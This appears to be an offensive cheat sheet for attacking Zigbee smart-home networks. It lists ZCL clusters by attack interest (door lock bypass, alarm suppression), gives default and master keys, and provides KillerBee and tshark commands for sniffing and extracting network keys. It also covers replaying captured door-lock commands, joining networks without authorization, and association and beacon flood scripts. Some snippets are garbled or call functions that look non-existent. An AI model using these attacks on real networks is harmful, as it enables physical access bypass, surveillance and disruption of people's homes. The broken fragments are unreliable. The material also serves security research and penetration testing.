Zigbee
Frequency: 2.4 GHz (global), 868/915 MHz (regional)
Channels: 16 channels (11–26) at 2.4 GHz, 5 MHz spacing
Data Rate: 250 kbps at 2.4 GHz
Modulation: O-QPSK with DSSS (Direct Sequence Spread Spectrum)
Range: 10–100m line of sight; 10–20m indoor typical
TX Power: 0–10 dBm typical, legally up to 20 dBm EIRP
ZCL defines clusters — reusable application building blocks. Each cluster has a 16-bit ID, attributes, and commands. Clusters are the primary interface for device control and data reading. Understanding ZCL is essential for crafting spoofed commands and fuzzing.
| Cluster Name | Cluster ID | Description | Attack Interest |
|---|---|---|---|
| Basic | 0x0000 | Device info, reset commands | Factory reset via WriteAttr |
| Power Configuration | 0x0001 | Battery voltage, mains | Info gathering |
| On/Off | 0x0006 | Toggle light/device state | Direct device control |
| Level Control | 0x0008 | Dimmer control | Disruption |
| OTA Upgrade | 0x0019 | Firmware update protocol | Malicious firmware injection |
| Door Lock | 0x0101 | Lock/unlock commands | Physical access bypass |
| Window Covering | 0x0102 | Blinds/shutter control | Physical access assist |
| Thermostat | 0x0201 | HVAC setpoints | Comfort/energy disruption |
| IAS Zone | 0x0500 | Alarm/sensor status | Alarm suppression/spoofing |
| Metering | 0x0702 | Smart energy readings | Energy fraud (AMI) |
| Key Establishment | 0x0800 | CBKE, link key setup | Key extraction |
Master Key
Pre-installed symmetric key used to establish link keys. Rarely used in practice. When used, protects link key transport.
Network Key (NWK Key)
128-bit AES key shared by ALL devices in the network. Protects NWK layer frames. Rotatable via Key Update procedure (rarely done in practice).
This is considered the golden key – sniff everything forever.
Link Key (App Key)
128-bit AES key shared between specific device pairs. Used for APS-layer encryption. Higher security but not universally implemented.
Default link key
Used during network join in most Zigbee PRO and early Zigbee 3.0 devices is the well-known string
ZigBeeAlliance09(hex:5A696742656541 6C6C69616E636530 39).Any observer who captures the join handshake can trivially decrypt the network key exchange using this default key — permanently compromising the entire network.
| Security Level | Value | Encryption | MIC Length | Usage |
|---|---|---|---|---|
| None | 0x00 | No | 0 | Beacons, discovery |
| MIC-32 | 0x01 | No | 4 bytes | Authentication only |
| MIC-64 | 0x02 | No | 8 bytes | Authentication only |
| MIC-128 | 0x03 | No | 16 bytes | Authentication only |
| ENC | 0x04 | Yes | 0 | Encryption only (rare) |
| ENC-MIC-32 | 0x05 | Yes | 4 bytes | Most common in Zigbee PRO |
| ENC-MIC-64 | 0x06 | Yes | 8 bytes | Higher security deployments |
| ENC-MIC-128 | 0x07 | Yes | 16 bytes | Maximum security |
# Default link key (join): ASCII ZigBeeAlliance09
# HEX 5A6967426565416C6C69616E63653039
# ZHA default key: 16 zero bytes
# ZLL master key: 9F5595F10257C8A9651985CBB7402D2F
# Smart Energy: CBKE certificates — no global default
Install Killerbee:
sudo apt-get install -y python3-pip python3-dev libusb-1.0-0-dev wireshark
pip3 install killerbee
# List interfaces
zbid
sudo cp killerbee/dev/99-killerbee.rules /etc/udev/rules.d/
sudo udevadm control --reload-rules
Passive capture using killerbee
# List available interfaces
zbid
# Capture on channel 15 (common deployment channel)
zbdump -c 15 -w capture_ch15.pcap
# Rotate through all channels (short capture each)
for ch in 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26; do
zbdump -c $ch -w ch${ch}.pcap -n 500 &
done
# Live feed to Wireshark
zbdump -c 15 -w - | wireshark -k -i -
# Decode PCAP (CLI)
zbcat capture_ch15.pcap
# Unique IEEE addresses
zbcat capture.pcap | grep "Source" | sort -u
# Beacon frames (PAN / coordinator discovery)
zbcat capture.pcap | grep -i "beacon"
Wireshark filters:
wpan.frame_type == 0
# Wireshark — ZCL command frames
zbee_zcl
# Wireshark — join requests
zbee_nwk.cmd.id == 0x06
# Wireshark — no link-layer security
!wpan.security
# All Zigbee NWK frames
zbee_nwk
# APS layer frames
zbee_aps
# Encrypted frames only
zbee_nwk.security==1
# Door Lock cluster
zbee_zcl.cluster_id==0x0101
# From coordinator only
zbee_nwk.src==0x0000
Active:
# Active stumble — all channels
zbstumbler
# Single channel
zbstumbler -c 15
# Verbose (RSSI)
zbstumbler -c 15 -v
# Save output
zbstumbler -c 15 -w stumble_results.txt
# Locate device by IEEE
zbfind -c 15 -d 00:11:22:33:44:55:66:77
Mapping topology:
mosquitto_sub -t "zigbee2mqtt/bridge/devices" -v
mosquitto_pub -t "zigbee2mqtt/bridge/request/networkmap" \
-m '{"type":"raw","routes":false}'
curl http://localhost:8080/api/devices
Decrypt frames in Wireshark:
Edit → Preferences → Protocols → ZigBee → add keys:
NWK default link key: 5A6967426565416C6C69616E63653039
ZHA null key: 00000000000000000000000000000000
ZLL master key: 9F5595F10257C8A9651985CBB7402D2F
Display filter (decrypted ZCL):
zbee_zcl && zbee_zcl.cmd.id
Key Extraction:
zbcat -k 5a6967426565416c6c69616e63653039 capture.pcap
tshark -r capture.pcap -Y "zbee_nwk.cmd.id == 0x0d" -T fields -e zbee_nwk.cmd.key
tshark -r capture.pcap -Y "zbee_aps.cmd.id == 0x05" -V
Key Update Monitoring:
# NWK key update (cmd 0x0d)
tshark -r cap.pcap -Y "zbee_nwk.cmd.id == 0x0d" -V
# APS update device (0x03)
tshark -r cap.pcap -Y "zbee_aps.cmd.id == 0x03" -V
# Remove device (0x04)
tshark -r cap.pcap -Y "zbee_aps.cmd.id == 0x04" -V
# Capture actuator traffic
zbdump -c 15 -w target_commands.pcap
# Find interesting frames (lock/door/toggle)
zbcat target_commands.pcap | grep -i "door\|lock\|toggle"
# Replay full capture
zbreplay -c 15 -r target_commands.pcap
# Replay with 100 ms inter-frame delay
zbreplay -c 15 -r target_commands.pcap -d 100
# Replay single frame
zbreplay -c 15 -r single_frame.pcap -n 1
Extracting the network key compromises ALL devices on the network.
Key sniffing during join:
zbdump -c 15 -w join_capture.pcap
tshark -r join_capture.pcap -Y "zbee_aps.cmd.id == 0x05" \
-d "zbee_nwk,zbee_aps" -T fields -e zbee_sec.key
bee_aps.cmd.id == 5Decrypt Captures with Extracted Key
from killerbee import *
nwk_key = bytes.fromhex("deadbeef0011223344556677aabbccdd")
with PcapReader("capture.pcap") as pcap:
for pkt in pcap:
try:
print(decrypt_zigbee(pkt, nwk_key).show2(dump=True))
except Exception:
pass
These attacks will allow you to join an unauthorized network
Join an open network
import asyncio
from zigpy_cc.zigbee.application import ControllerApplication
async def join_network():
app = ControllerApplication(config={
"device": {"path": "/dev/ttyUSB0"},
"network": {"channel": 15, "pan_id": 0x1a62},
})
await app.startup()
for ieee, dev in app.devices.items():
print(f"Device: {ieee} ({dev.model})")
asyncio.run(join_network())
Create a rogue network that mimics a legitimate network to lure devices into associating
Association Flood
zbassocflood -c 15 -t 0x0000
zbassocflood -c 15 -t 0x0000 -r 100
zbdump -c 15 -w assoc_flood_response.pcap &
Beacon Request Flood
from scapy.all import *
from scapy.layers.dot15d4 import *
import time
beacon_req = Dot15d4FCS(fcf_frametype=3) / Dot15d4Cmd(cmd_id=7)
while True:
for _ in range(100):
sendp(beacon_req, iface="wpan0", verbose=0)
time.sleep(0.01)